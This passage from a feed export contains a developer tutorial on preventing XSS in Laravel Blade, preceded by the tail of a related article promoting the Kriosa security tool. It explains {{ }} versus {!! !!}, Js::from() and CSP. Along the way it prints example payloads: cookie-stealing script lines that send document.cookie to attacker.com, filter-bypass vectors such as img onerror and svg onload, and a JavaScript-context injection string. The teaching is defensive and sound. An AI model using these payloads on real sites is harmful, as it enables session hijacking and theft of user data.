&lt;p&gt;These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.&lt;/p&gt;

&lt;p&gt;You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.&lt;/p&gt;

&lt;p&gt;Configuration closes the information gaps. Kriosa watches for the probing behavior.&lt;/p&gt;

&lt;p&gt;Both layers together.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt; . Kriosa &lt;a href="//kriosa.com/documentation.php"&gt;documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: This article — how attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>laravel</category>
    </item>
    <item>
      <title>XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 17 Jul 2026 19:18:43 +0000</pubDate>
      <link>https://dev.to/kriosa/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-17lc</link>
      <guid>https://dev.to/kriosa/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-17lc</guid>
      <description>&lt;p&gt;Originaly published on medium&lt;br&gt;
One character difference in your Blade template. One open door for attackers.&lt;br&gt;
This is the fifth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered;&lt;/p&gt;

&lt;p&gt;Detecting SQL injection attempts in PHP logs&lt;br&gt;
Why URL encoding blinds most PHP security checks&lt;br&gt;
The decode bomb problem with unlimited URL decoding&lt;br&gt;
Why parameterized queries are the only real fix for SQL injection&lt;br&gt;
Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;XSS is no different.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What XSS Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cross-Site Scripting — XSS — is an attack where an attacker injects malicious JavaScript into a page that other users then see and execute in their browsers.&lt;/p&gt;

&lt;p&gt;The name is misleading. It is not really about crossing sites. It is about injecting scripts into pages that other people visit.&lt;/p&gt;

&lt;p&gt;Here is the simplest version&lt;/p&gt;

&lt;p&gt;A website has a comment section. A user submits this as their comment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hacked&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the website displays that comment without sanitizing it, every user who visits that page sees a popup. That is the mild demonstration version.&lt;/p&gt;

&lt;p&gt;The dangerous version looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker may steal session tokens, perform actions as the victim, or read sensitive page data depending on the application’s protections. If session cookies are not protected with attributes such as HttpOnly, Secure, and appropriate SameSite settings, an attacker may be able to hijack the user's session without knowing their password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Three Types of XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Understanding which type you are dealing with changes how you defend against it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The malicious script comes from the current HTTP request usually a URL parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://yoursite.com/search?q=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your page displays the query parameter directly without encoding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Search results for: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'q'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script executes in the victim’s browser the moment they visit that URL. The attacker tricks a user into clicking a crafted link and the attack runs immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The malicious script is saved to the database and displayed to every user who visits the affected page. A comment. A username. A profile bio. A product review. Any field that is stored and later displayed is a potential stored XSS vector. This is the most dangerous type because it runs automatically for every visitor without requiring them to click anything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DOM-based XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The vulnerable server-side code may never process the malicious payload because the vulnerability exists entirely in client-side JavaScript. It exploits JavaScript that reads from the URL and writes to the DOM without sanitization. This is the hardest type to detect server-side because it never reaches your PHP or Laravel code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Blade Templating Line That Matters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel uses a templating engine called Blade. Blade gives you two ways to output variables in your HTML templates. The difference between them is the difference between a protected application and a vulnerable one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The safe way double curly braces&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ $comment }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade automatically HTML-encodes everything inside {{ }}. So if $comment contains.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade outputs it as.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;alert('xss')&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser displays it as visible text. The script never executes. The attack fails silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The dangerous way raw output&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! $comment !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This outputs the raw unescaped HTML exactly as stored. If $comment contains a script tag it executes. Exactly as the attacker intended.&lt;/p&gt;

&lt;p&gt;A useful rule of thumb: whenever you type {!! !!}, pause and ask yourself where that data originated. If the answer is "a user", "a form", "the database", or "an external API", raw output should immediately raise suspicion. Most XSS vulnerabilities begin with trusting data that was never actually trustworthy.&lt;/p&gt;

&lt;p&gt;That two-character difference — !! — is the line between safe and hacked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What HTML Entity Encoding Actually Does&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When Blade uses {{ }} it converts characters that have meaning in HTML into their safe entity equivalents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;  →  &amp;amp;lt;
&amp;gt;  →  &amp;amp;gt;
"  →  &amp;amp;quot;
'  →  &amp;amp;#039;
&amp;amp;  →  &amp;amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser renders these entities as the visible characters but never interprets them as HTML markup. So&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;displays as&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt; &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;on screen but the browser never treats it as an actual executable script tag.&lt;/p&gt;

&lt;p&gt;The characters are present. They just cannot do anything. This is why&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is the safe default. The encoding happens automatically. You do not have to think about it as long as you use the correct syntax.&lt;/p&gt;

&lt;p&gt;When&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!} 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Is Legitimately Needed&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is not always wrong. There are legitimate use cases but they require deliberate judgment.&lt;/p&gt;

&lt;p&gt;Rendering HTML you generated yourself from trusted data&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! $paginationLinks !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your controller built this HTML from your own logic with no user input involved, outputting it raw is fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rendering content from a trusted admin editor&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A blog post written by a site administrator in a rich text editor needs raw HTML to display formatting correctly. The key word is trusted content you control, not content submitted by arbitrary users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rendering HTML that has already been properly sanitized&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you ran user-submitted content through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing it, outputting it raw can be acceptable. The sanitizer removed dangerous tags and attributes before the content reached your database.&lt;/p&gt;

&lt;p&gt;The rule is simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is only safe when you have complete control over the source of the data. The moment user input can influence what appears inside&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you have introduced an XSS vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four Mistakes Laravel Developers Make&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 1&lt;/strong&gt; — Using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;for convenience&lt;/p&gt;

&lt;p&gt;A developer wants to display formatted text. They store HTML in the database and use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to render it. They forget or never considered that the same field accepts input from users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{-- Developer thinks: "I need to display the formatted bio" --}}
{!! $user-&amp;gt;bio !!}

{{-- Attacker submits bio containing: --}}
{{-- &amp;lt;script&amp;gt;document.location='https://attacker.com?c='+document.cookie&amp;lt;/script&amp;gt; --}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every user who views that profile page is now at risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2&lt;/strong&gt; — Trusting the database as a safety layer&lt;/p&gt;

&lt;p&gt;“The data came from my database so it must be safe.”&lt;/p&gt;

&lt;p&gt;Not if a user put it there. Stored XSS lives in the database. The database stores exactly what was submitted. It does not sanitize. It does not encode. It stores and retrieves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3&lt;/strong&gt; — Sanitizing on input but not encoding on output&lt;/p&gt;

&lt;p&gt;Stripping script tags when the user submits is not reliable protection. Attackers use encoding, alternative event handlers, and HTML quirks to bypass input filters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert('xss')&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert('xss')&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert('xss')"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;click me&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of these contain the word script. A filter looking for&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;misses all of them.&lt;/p&gt;

&lt;p&gt;Encoding on output is the reliable defense because it does not matter what the input contained everything gets rendered as text, not as HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4&lt;/strong&gt; — JavaScript contexts&lt;/p&gt;

&lt;p&gt;This is the mistake even careful developers miss.&lt;/p&gt;

&lt;p&gt;Blade’s&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;performs HTML escaping. Inside a JavaScript string, you need JavaScript-safe encoding instead. Using HTML escaping in a JavaScript context can still lead to broken scripts or injection vulnerabilities depending on how the value is used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{{&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="nx"&gt;This&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;NOT&lt;/span&gt; &lt;span class="nx"&gt;safe&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;JavaScript&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;{{ $username }}&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker submits&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a username like "; alert('xss'); " 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the rendered output becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For JavaScript contexts&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use Laravel’s Js::from()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;directive instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Js::from() properly encodes the value for a JavaScript context. The two encoding requirements are different and require different solutions.&lt;/p&gt;

&lt;p&gt;The Complete Safe Pattern in Laravel&lt;/p&gt;

&lt;p&gt;Here is what correct output handling looks like across different contexts:&lt;/p&gt;

&lt;p&gt;HTML context — always use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{{ $comment }}&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;{{ $username }}&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;{{ $userBio }}&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JavaScript context always use Js::from();&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$userConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}};&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HTML attribute context {{ }} is safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{ $userInput }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For URL attributes, be careful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{{ $url }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;link&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blade escapes HTML characters but does not validate URLs. If the URL is user-controlled, validate the scheme ensure it begins with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;rather than blindly trusting arbitrary input. A javascript: URL bypasses HTML encoding entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When you must render HTML sanitize first&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you need to display user-submitted HTML, run it through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing or displaying it. Only use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after proper sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Content Security Policy as an additional layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Add a CSP header in your Laravel middleware to limit what scripts can execute even if an XSS payload gets through.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'Content-Security-Policy'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"default-src 'self'; script-src 'self'"&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CSP should be treated as a defense-in-depth measure, not a replacement for proper output encoding. A strict CSP means even a successful XSS injection has limited ability to load external scripts or send data to attacker-controlled domains.&lt;/p&gt;

